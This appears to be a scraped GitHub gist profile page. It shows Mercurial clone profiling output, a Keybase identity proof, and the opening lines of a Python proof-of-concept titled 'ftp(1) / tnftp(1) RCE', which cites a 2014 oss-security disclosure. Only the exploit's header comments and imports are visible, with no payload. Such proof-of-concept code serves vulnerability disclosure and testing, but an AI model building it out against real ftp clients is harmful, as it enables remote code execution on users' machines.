Skip to content

Instantly share code, notes, and snippets.

View tamentis's full-sized avatar
👶
I may be slow to respond.

Bertrand Janin tamentis

👶
I may be slow to respond.
View GitHub Profile
b02:~/tmp/three$ time hg clone --profile --remotecmd=/home/tamentis/vv/bin/hg ssh://myhost//hg/myrepo
destination directory: myrepo
requesting all changes
adding changesets
adding manifests
adding file changes
added 15202 changesets with 21203 changes to 1753 files (+8 heads)
updating to branch default
130 files updated, 0 files merged, 0 files removed, 0 files unresolved
CallCount Recursive Total(ms) Inline(ms) module:lineno(function)
b02:~/tmp/two$ time hg clone --profile ssh://somehost//hg/myrepo
requesting all changes
adding changesets
adding manifests
adding file changes
added 15202 changesets with 21203 changes to 1753 files (+8 heads)
updating to branch default
130 files updated, 0 files merged, 0 files removed, 0 files unresolved
CallCount Recursive Total(ms) Inline(ms) module:lineno(function)
271 0 14.2564 14.2564 <built-in method compress>
### Keybase proof
I hereby claim:
* I am tamentis on github.
* I am tamentis (https://keybase.io/tamentis) on keybase.
* I have a public key whose fingerprint is B70C 2620 CA86 1D59 363D C01B 947E 6ABE 6453 194A
To claim this, I am signing this object:
@tamentis
tamentis / gist:458247c568d3ac91da59
Last active August 29, 2015 14:08
ftp(1) / tnftp(1) RCE
#!/usr/bin/env python
#
# ftp http://127.0.0.1:8000/one
#
# As per http://www.openwall.com/lists/oss-security/2014/10/28/4
#
import SimpleHTTPServer
import BaseHTTPServer
import SocketServer